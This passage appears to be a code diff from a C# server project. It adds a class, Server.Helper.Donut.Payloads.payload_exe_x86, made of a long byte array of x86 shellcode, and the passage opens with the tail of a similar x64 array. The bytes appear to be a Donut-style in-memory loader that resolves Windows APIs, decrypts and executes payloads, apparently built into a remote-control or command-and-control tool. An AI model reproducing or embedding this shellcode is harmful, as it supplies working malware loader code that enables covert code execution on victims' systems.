0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x48, 0x8b, 0x8d, 0x58, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b, 0x8d, 0x50, 0x01,
0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x38, 0x48, 0x8b, 0x8d, 0x50,
0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x4c, 0x8b, 0x86,
0x50, 0x07, 0x00, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x4e, 0x8d, 0x04,
0x45, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xc2, 0x04, 0x00, 0x00, 0x33, 0xd2,
0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x49, 0x8b, 0xce, 0xff, 0x56, 0x50,
0x4c, 0x8d, 0x9c, 0x24, 0x30, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x30,
0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, 0xc3,
0x40, 0x53, 0x55, 0x56, 0x57, 0x48, 0x83, 0xec, 0x38, 0x83, 0xb9, 0x1c,
0x05, 0x00, 0x00, 0x01, 0x48, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x48,
0x8b, 0xd9, 0x74, 0x03, 0x48, 0x8b, 0x3f, 0x48, 0x8b, 0x91, 0x50, 0x07,
0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d,
0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x53,
0x48, 0x33, 0xed, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xf3,
0x00, 0x00, 0x00, 0x8b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x4c, 0x8d, 0x87,
0x18, 0x19, 0x00, 0x00, 0x03, 0xc9, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x4c,
0x24, 0x28, 0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff,
0x53, 0x70, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x93, 0x20, 0x01, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x85, 0x97, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24,
0x68, 0x33, 0xd2, 0x4c, 0x8d, 0x8b, 0xfc, 0x04, 0x00, 0x00, 0x48, 0x89,
0x44, 0x24, 0x20, 0x48, 0x8d, 0x8b, 0xec, 0x04, 0x00, 0x00, 0x44, 0x8d,
0x45, 0x01, 0xff, 0x93, 0x28, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x69,
0x48, 0x8b, 0x4c, 0x24, 0x68, 0x4c, 0x8d, 0x44, 0x24, 0x60, 0x48, 0x8b,
0xd6, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x08, 0x02, 0x00, 0x00, 0x85, 0xc0,
0x75, 0x44, 0x66, 0x39, 0x6c, 0x24, 0x60, 0x74, 0x3d, 0x48, 0x8b, 0x4c,
0x24, 0x68, 0x48, 0x8d, 0x93, 0x0c, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x44,
0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x75, 0x23, 0x48,
0x8b, 0x4c, 0x24, 0x68, 0x4c, 0x8d, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x54,
0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x18, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x4c, 0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b,
0x4c, 0x24, 0x68, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0xff, 0x93, 0x30,
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x33, 0xd2,
0x48, 0x8b, 0xce, 0x4e, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0xe8,
0x6c, 0x03, 0x00, 0x00, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00,
0x48, 0x8b, 0xce, 0xff, 0x53, 0x50, 0x48, 0x83, 0xc4, 0x38, 0x5f, 0x5e,
0x5d, 0x5b, 0xc3, 0xcc, 0x41, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33,
0xc0, 0xc3, 0xcc, 0xcc, 0x2b, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc,
0x44, 0x8b, 0xc2, 0x8b, 0xc1, 0x99, 0x41, 0xf7, 0xf8, 0xc3, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x60, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48,
0x8b, 0xe9, 0x45, 0x33, 0xd2, 0x4c, 0x8b, 0x48, 0x18, 0x49, 0x8b, 0x59,
0x10, 0xeb, 0x1c, 0x4d, 0x85, 0xd2, 0x75, 0x20, 0x4c, 0x8b, 0xcf, 0x4c,
0x8b, 0xc6, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcd, 0xe8, 0x1f, 0xeb, 0xff,
0xff, 0x48, 0x8b, 0x1b, 0x4c, 0x8b, 0xd0, 0x48, 0x8b, 0x43, 0x30, 0x48,
0x85, 0xc0, 0x75, 0xdb, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x49, 0x8b, 0xc2,
0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83,
0xc4, 0x20, 0x5f, 0xc3, 0x44, 0x8a, 0x01, 0x45, 0x84, 0xc0, 0x74, 0x1a,
0x41, 0x8a, 0xc0, 0x48, 0x2b, 0xca, 0x44, 0x8a, 0xc0, 0x3a, 0x02, 0x75,
0x0d, 0x48, 0xff, 0xc2, 0x8a, 0x04, 0x11, 0x44, 0x8a, 0xc0, 0x84, 0xc0,
0x75, 0xec, 0x0f, 0xb6, 0x0a, 0x41, 0x0f, 0xb6, 0xc0, 0x2b, 0xc1, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30,
0x33, 0xff, 0x33, 0xed, 0x45, 0x33, 0xf6, 0x48, 0x8b, 0xf2, 0x4c, 0x8b,
0xf9, 0x42, 0x8a, 0x54, 0x3d, 0x00, 0x84, 0xd2, 0x74, 0x11, 0x83, 0xfd,
0x40, 0x74, 0x0c, 0x8b, 0xc7, 0xff, 0xc7, 0xff, 0xc5, 0x88, 0x54, 0x04,
0x20, 0xeb, 0x56, 0x8b, 0xc7, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0x48, 0x03,
0xd8, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, 0x2b,
0xc7, 0x33, 0xd2, 0xe8, 0x3c, 0x02, 0x00, 0x00, 0xc6, 0x03, 0x80, 0x83,
0xff, 0x0c, 0x72, 0x20, 0x48, 0x8b, 0xd6, 0x48, 0x8d, 0x4c, 0x24, 0x20,
0xe8, 0x63, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20,
0x48, 0x33, 0xf0, 0x44, 0x8d, 0x42, 0x10, 0xe8, 0x14, 0x02, 0x00, 0x00,
0x8b, 0xc5, 0xbf, 0x10, 0x00, 0x00, 0x00, 0xc1, 0xe0, 0x03, 0x89, 0x44,
0x24, 0x2c, 0x41, 0xff, 0xc6, 0x83, 0xff, 0x10, 0x75, 0x12, 0x48, 0x8b,
0xd6, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x2d, 0x00, 0x00, 0x00, 0x48,
0x33, 0xf0, 0x33, 0xff, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0x70, 0xff, 0xff,
0xff, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74,
0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41,
0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53,
0x48, 0x83, 0xec, 0x10, 0x0f, 0x10, 0x01, 0x48, 0x89, 0x50, 0x10, 0x8b,
0xca, 0x44, 0x8b, 0x40, 0x14, 0x45, 0x33, 0xd2, 0x0f, 0x11, 0x04, 0x24,
0x8b, 0x50, 0xf4, 0x44, 0x8b, 0x58, 0xf0, 0x8b, 0x58, 0xec, 0x44, 0x8b,
0x0c, 0x24, 0x8b, 0xc2, 0xc1, 0xc9, 0x08, 0x41, 0x03, 0xc8, 0x8b, 0xd3,
0x41, 0x33, 0xc9, 0xc1, 0xca, 0x08, 0x41, 0x03, 0xd1, 0x41, 0xc1, 0xc0,
0x03, 0x41, 0x33, 0xd2, 0x41, 0xc1, 0xc1, 0x03, 0x44, 0x33, 0xca, 0x44,
0x33, 0xc1, 0x41, 0xff, 0xc2, 0x41, 0x8b, 0xdb, 0x44, 0x8b, 0xd8, 0x41,
0x83, 0xfa, 0x1b, 0x72, 0xcd, 0x89, 0x4c, 0x24, 0x28, 0x44, 0x89, 0x44,
0x24, 0x2c, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x10, 0x5b,
0xc3, 0xcc, 0xcc, 0xcc, 0x4d, 0x85, 0xc9, 0x0f, 0x84, 0x25, 0x01, 0x00,
0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48,
0x89, 0x7c, 0x24, 0x18, 0x55, 0x41, 0x55, 0x41, 0x56, 0x48, 0x8b, 0xec,
0x48, 0x83, 0xec, 0x10, 0x4c, 0x8b, 0xd1, 0x48, 0x8d, 0x45, 0xf0, 0x4c,
0x2b, 0xd0, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xf2, 0x4d, 0x8b,
0xd8, 0x48, 0x8b, 0xfa, 0x41, 0xbd, 0x10, 0x00, 0x00, 0x00, 0x0f, 0x10,
0x07, 0x48, 0x8d, 0x4d, 0xf0, 0xba, 0x04, 0x00, 0x00, 0x00, 0xf3, 0x0f,
0x7f, 0x45, 0xf0, 0x41, 0x8b, 0x04, 0x0a, 0x31, 0x01, 0x48, 0x8d, 0x49,
0x04, 0x48, 0x83, 0xea, 0x01, 0x75, 0xf0, 0x8b, 0x55, 0xfc, 0x49, 0x8b,
0xdd, 0x8b, 0x45, 0xf8, 0x44, 0x8b, 0x45, 0xf4, 0x8b, 0x4d, 0xf0, 0x41,
0x03, 0xc8, 0x03, 0xc2, 0x41, 0xc1, 0xc0, 0x05, 0x44, 0x33, 0xc1, 0xc1,
0xc2, 0x08, 0x33, 0xd0, 0xc1, 0xc1, 0x10, 0x41, 0x03, 0xc0, 0x03, 0xca,
0x41, 0xc1, 0xc0, 0x07, 0xc1, 0xc2, 0x0d, 0x44, 0x33, 0xc0, 0x33, 0xd1,
0xc1, 0xc0, 0x10, 0x48, 0x83, 0xeb, 0x01, 0x75, 0xd2, 0x89, 0x55, 0xfc,
0x8d, 0x53, 0x04, 0x89, 0x4d, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x44, 0x89,
0x45, 0xf4, 0x89, 0x45, 0xf8, 0x42, 0x8b, 0x04, 0x11, 0x31, 0x01, 0x48,
0x8d, 0x49, 0x04, 0x48, 0x83, 0xea, 0x01, 0x75, 0xf0, 0x4d, 0x3b, 0xcd,
0x41, 0x8b, 0xc1, 0x41, 0x0f, 0x47, 0xc5, 0x48, 0x63, 0xd0, 0x85, 0xc0,
0x7e, 0x1c, 0x4c, 0x8d, 0x45, 0xf0, 0x49, 0x8b, 0xcb, 0x4d, 0x2b, 0xc3,
0x48, 0x8b, 0xda, 0x41, 0x8a, 0x04, 0x08, 0x30, 0x01, 0x48, 0xff, 0xc1,
0x48, 0x83, 0xeb, 0x01, 0x75, 0xf1, 0x4c, 0x2b, 0xca, 0x48, 0x8d, 0x4f,
0x0f, 0x4c, 0x03, 0xda, 0x80, 0x01, 0x01, 0x75, 0x0c, 0x48, 0xff, 0xc9,
0x48, 0x8d, 0x04, 0x0e, 0x48, 0x85, 0xc0, 0x7f, 0xef, 0x4d, 0x85, 0xc9,
0x0f, 0x85, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48,
0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x48, 0x83, 0xc4,
0x10, 0x41, 0x5e, 0x41, 0x5d, 0x5d, 0xc3, 0xcc, 0x4c, 0x8b, 0xc9, 0x4d,
0x85, 0xc0, 0x74, 0x13, 0x48, 0x2b, 0xd1, 0x42, 0x8a, 0x04, 0x0a, 0x41,
0x88, 0x01, 0x49, 0xff, 0xc1, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xf0, 0x48,
0x8b, 0xc1, 0xc3, 0xcc, 0x48, 0x89, 0x7c, 0x24, 0x08, 0x4c, 0x8b, 0xc9,
0x48, 0x8b, 0xf9, 0x8a, 0xc2, 0x49, 0x8b, 0xc8, 0xf3, 0xaa, 0x48, 0x8b,
0x7c, 0x24, 0x08, 0x49, 0x8b, 0xc1, 0xc3};
}
}

View File

@ -0,0 +1,677 @@
namespace Server.Helper.Donut.Payloads
{
public class payload_exe_x86
{
public static readonly byte[] PAYLOAD_EXE_X86 = {
0x83, 0xec, 0x20, 0x53, 0x55, 0x56, 0x57, 0x8b, 0x7c, 0x24, 0x34, 0xff,
0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x77, 0x4c, 0xff, 0x77, 0x48, 0x57,
0xe8, 0x72, 0x1c, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8b, 0xf0, 0xff, 0x77,
0x28, 0xff, 0x77, 0x54, 0xff, 0x77, 0x50, 0x57, 0xe8, 0x5e, 0x1c, 0x00,
0x00, 0x83, 0xc4, 0x28, 0x8b, 0xd8, 0x89, 0x5c, 0x24, 0x34, 0x85, 0xf6,
0x0f, 0x84, 0x15, 0x02, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x0d, 0x02,
0x00, 0x00, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x37, 0x6a,
0x00, 0xff, 0xd6, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0xf6, 0x01, 0x00,
0x00, 0xff, 0x37, 0x57, 0x56, 0xe8, 0xb8, 0x1e, 0x00, 0x00, 0x6a, 0x20,
0x8d, 0x44, 0x24, 0x20, 0x6a, 0x00, 0x50, 0xe8, 0xce, 0x1e, 0x00, 0x00,
0x8b, 0x06, 0x8d, 0xae, 0x30, 0x02, 0x00, 0x00, 0x2d, 0x30, 0x02, 0x00,
0x00, 0x50, 0x55, 0x8d, 0x46, 0x14, 0x50, 0x8d, 0x46, 0x04, 0x50, 0xe8,
0x8d, 0x1d, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8d, 0x86, 0x28, 0x06, 0x00,
0x00, 0xff, 0x76, 0x28, 0x50, 0xe8, 0x56, 0x1c, 0x00, 0x00, 0x83, 0xc4,
0x34, 0x3b, 0x86, 0x28, 0x07, 0x00, 0x00, 0x0f, 0x85, 0x4f, 0x01, 0x00,
0x00, 0x3b, 0x96, 0x2c, 0x07, 0x00, 0x00, 0x0f, 0x85, 0x43, 0x01, 0x00,
0x00, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 0xff, 0x76, 0x34, 0xff, 0x76,
0x30, 0x56, 0xe8, 0xbc, 0x1b, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x89, 0x46,
0x30, 0x85, 0xc0, 0x0f, 0x84, 0x76, 0x01, 0x00, 0x00, 0x33, 0xff, 0x39,
0xbe, 0x34, 0x02, 0x00, 0x00, 0x76, 0x16, 0x8d, 0x9e, 0x38, 0x02, 0x00,
0x00, 0x53, 0xff, 0x56, 0x30, 0x47, 0x83, 0xc3, 0x20, 0x3b, 0xbe, 0x34,
0x02, 0x00, 0x00, 0x72, 0xf0, 0x33, 0xdb, 0x43, 0x39, 0x5d, 0x00, 0x76,
0x34, 0x8d, 0x6e, 0x34, 0x8d, 0x7e, 0x38, 0xff, 0x76, 0x2c, 0xff, 0x76,
0x28, 0xff, 0x77, 0x04, 0xff, 0x37, 0x56, 0xe8, 0x6f, 0x1b, 0x00, 0x00,
0x83, 0xc4, 0x14, 0x89, 0x45, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x00,
0x00, 0x00, 0x43, 0x83, 0xc7, 0x08, 0x83, 0xc5, 0x04, 0x3b, 0x9e, 0x30,
0x02, 0x00, 0x00, 0x72, 0xd2, 0x8b, 0x86, 0x1c, 0x05, 0x00, 0x00, 0x6a,
0x02, 0x5b, 0x3b, 0xc3, 0x75, 0x15, 0x56, 0xe8, 0x22, 0x06, 0x00, 0x00,
0x59, 0x85, 0xc0, 0x0f, 0x84, 0xa7, 0x00, 0x00, 0x00, 0x8b, 0x86, 0x1c,
0x05, 0x00, 0x00, 0x8d, 0xbe, 0x58, 0x07, 0x00, 0x00, 0x83, 0xf8, 0x01,
0x74, 0x02, 0x8b, 0x3f, 0x83, 0xbe, 0x40, 0x03, 0x00, 0x00, 0x01, 0x74,
0x26, 0x56, 0xe8, 0x2b, 0x04, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x75, 0x08,
0x39, 0x9e, 0x40, 0x03, 0x00, 0x00, 0x74, 0x78, 0x56, 0xe8, 0xfe, 0x04,
0x00, 0x00, 0x59, 0x85, 0xc0, 0x75, 0x08, 0x39, 0x9e, 0x40, 0x03, 0x00,
0x00, 0x74, 0x65, 0x83, 0x3f, 0x03, 0x74, 0x59, 0x83, 0x3f, 0x04, 0x74,
0x54, 0x83, 0x3f, 0x01, 0x74, 0x23, 0x39, 0x1f, 0x74, 0x1f, 0x83, 0x3f,
0x05, 0x74, 0x12, 0x83, 0x3f, 0x06, 0x74, 0x0d, 0x83, 0x3f, 0x07, 0x75,
0x43, 0x56, 0xe8, 0x86, 0x19, 0x00, 0x00, 0xeb, 0x3a, 0x56, 0xe8, 0xdb,
0x17, 0x00, 0x00, 0xeb, 0x32, 0x8d, 0x44, 0x24, 0x10, 0x50, 0x56, 0xe8,
0xc7, 0x0d, 0x00, 0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x44,
0x24, 0x10, 0x50, 0x56, 0xe8, 0xc1, 0x0f, 0x00, 0x00, 0x59, 0x59, 0x8d,
0x44, 0x24, 0x10, 0x50, 0x56, 0xe8, 0x45, 0x09, 0x00, 0x00, 0x59, 0xeb,
0x06, 0x56, 0xe8, 0x71, 0x12, 0x00, 0x00, 0x59, 0x8b, 0x5c, 0x24, 0x34,
0x83, 0xbe, 0x1c, 0x05, 0x00, 0x00, 0x02, 0xbf, 0x00, 0xc0, 0x00, 0x00,
0x75, 0x2e, 0x8b, 0x86, 0x58, 0x07, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x24,
0xff, 0xb6, 0x50, 0x07, 0x00, 0x00, 0x6a, 0x00, 0x50, 0xe8, 0x1c, 0x1d,
0x00, 0x00, 0x83, 0xc4, 0x0c, 0x57, 0x6a, 0x00, 0xff, 0xb6, 0x58, 0x07,
0x00, 0x00, 0xff, 0x56, 0x40, 0x83, 0xa6, 0x58, 0x07, 0x00, 0x00, 0x00,
0xff, 0x36, 0x6a, 0x00, 0x56, 0xe8, 0xfc, 0x1c, 0x00, 0x00, 0x83, 0xc4,
0x0c, 0x57, 0x6a, 0x00, 0x56, 0xff, 0xd3, 0x33, 0xc0, 0xeb, 0x03, 0x83,
0xc8, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x20, 0xc3, 0x8b, 0x44,
0x24, 0x04, 0x83, 0xc0, 0x04, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04,
0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8,
0x05, 0x1a, 0x00, 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0xf0, 0x12, 0x40,
0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x08, 0xe8, 0xea, 0x19, 0x00, 0x00, 0xb9, 0x62, 0x12, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0xd7, 0x19,
0x00, 0x00, 0xb9, 0x4f, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x08, 0xe8, 0xc4, 0x19, 0x00, 0x00, 0xb9, 0x71, 0x12,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8,
0xb1, 0x19, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x5f, 0x89, 0x48, 0x10, 0x8b, 0x44, 0x24, 0x08, 0x83,
0x66, 0x04, 0x00, 0x89, 0x46, 0x08, 0x5e, 0xc3, 0x8b, 0x4c, 0x24, 0x0c,
0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x4d, 0x53,
0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57,
0x8b, 0x7e, 0x08, 0x8b, 0x84, 0x97, 0xfc, 0x03, 0x00, 0x00, 0x3b, 0x04,
0x93, 0x75, 0x08, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33,
0xd2, 0x8b, 0x84, 0x97, 0xbc, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75,
0x10, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, 0x46,
0x04, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00,
0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83,
0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x04, 0x48, 0xc2, 0x04, 0x00, 0x33,
0xc0, 0xc2, 0x08, 0x00, 0x55, 0x8b, 0xec, 0xf6, 0x45, 0x10, 0x02, 0x56,
0x8b, 0x75, 0x08, 0x57, 0x74, 0x15, 0x8b, 0x7d, 0x18, 0x85, 0xff, 0x74,
0x1b, 0x8b, 0x46, 0x1c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46,
0x1c, 0x89, 0x07, 0xf6, 0x45, 0x10, 0x01, 0x74, 0x19, 0x8b, 0x7d, 0x14,
0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0d, 0x83,
0xc6, 0x14, 0x56, 0x8b, 0x06, 0xff, 0x50, 0x04, 0x89, 0x37, 0x33, 0xc0,
0x5f, 0x5e, 0x5d, 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x40,
0x2c, 0xff, 0x50, 0x54, 0x8b, 0x4c, 0x24, 0x08, 0x89, 0x01, 0x33, 0xc0,
0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, 0xbb, 0x18, 0x00, 0x00, 0x8b, 0x74,
0x24, 0x10, 0xb9, 0x01, 0x15, 0x40, 0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xa0, 0x18, 0x00,
0x00, 0xb9, 0x62, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x04, 0xe8, 0x8d, 0x18, 0x00, 0x00, 0xb9, 0x4f, 0x13, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0x7a,
0x18, 0x00, 0x00, 0xb9, 0xae, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0x67, 0x18, 0x00, 0x00, 0xb9, 0x64,
0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10,
0xe8, 0x54, 0x18, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x14, 0xe8, 0x41, 0x18, 0x00, 0x00,
0xb9, 0xfc, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x18, 0xe8, 0x2e, 0x18, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x1b, 0x18,
0x00, 0x00, 0xb9, 0xb1, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x20, 0xe8, 0x08, 0x18, 0x00, 0x00, 0xb9, 0xac, 0x14,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8,
0xf5, 0x17, 0x00, 0x00, 0xb9, 0xac, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x5f, 0x89, 0x48, 0x28, 0x8b, 0x44, 0x24, 0x08, 0x83,
0x66, 0x04, 0x00, 0x89, 0x46, 0x2c, 0x5e, 0xc3, 0x33, 0xc0, 0xc2, 0x04,
0x00, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x2c, 0x33, 0xc0, 0x56, 0x6a, 0x20,
0x50, 0x89, 0x45, 0xf4, 0x89, 0x45, 0xf8, 0x89, 0x45, 0xfc, 0x8d, 0x45,
0xd4, 0x50, 0xe8, 0x77, 0x1a, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0x8d, 0x4d,
0xd4, 0x83, 0xc4, 0x0c, 0x8b, 0x06, 0x51, 0x56, 0xff, 0x50, 0x0c, 0x85,
0xc0, 0x75, 0x12, 0x8b, 0x06, 0x8d, 0x4d, 0xfc, 0x51, 0x8d, 0x4d, 0xf8,
0x51, 0x8d, 0x4d, 0xf4, 0x51, 0x56, 0xff, 0x50, 0x10, 0x33, 0xc0, 0x5e,
0xc9, 0xc2, 0x08, 0x00, 0x33, 0xc0, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24,
0x0c, 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x68,
0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c,
0x57, 0x8b, 0x7e, 0x2c, 0x8b, 0x84, 0x97, 0xfc, 0x03, 0x00, 0x00, 0x3b,
0x04, 0x93, 0x75, 0x08, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14,
0x33, 0xd2, 0x8b, 0x84, 0x97, 0xac, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x93,
0x75, 0x0e, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff,
0x46, 0x04, 0xeb, 0x19, 0x33, 0xd2, 0x8b, 0x84, 0x97, 0xbc, 0x04, 0x00,
0x00, 0x3b, 0x04, 0x93, 0x75, 0x0f, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee,
0x8d, 0x46, 0x08, 0x89, 0x01, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21, 0x00,
0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b,
0x44, 0x24, 0x18, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x18, 0x00, 0x8b,
0x44, 0x24, 0x04, 0x0f, 0xaf, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24,
0x14, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24,
0x04, 0x03, 0x44, 0x24, 0x08, 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74, 0x24,
0x10, 0x8d, 0x86, 0x38, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, 0x30, 0x8b,
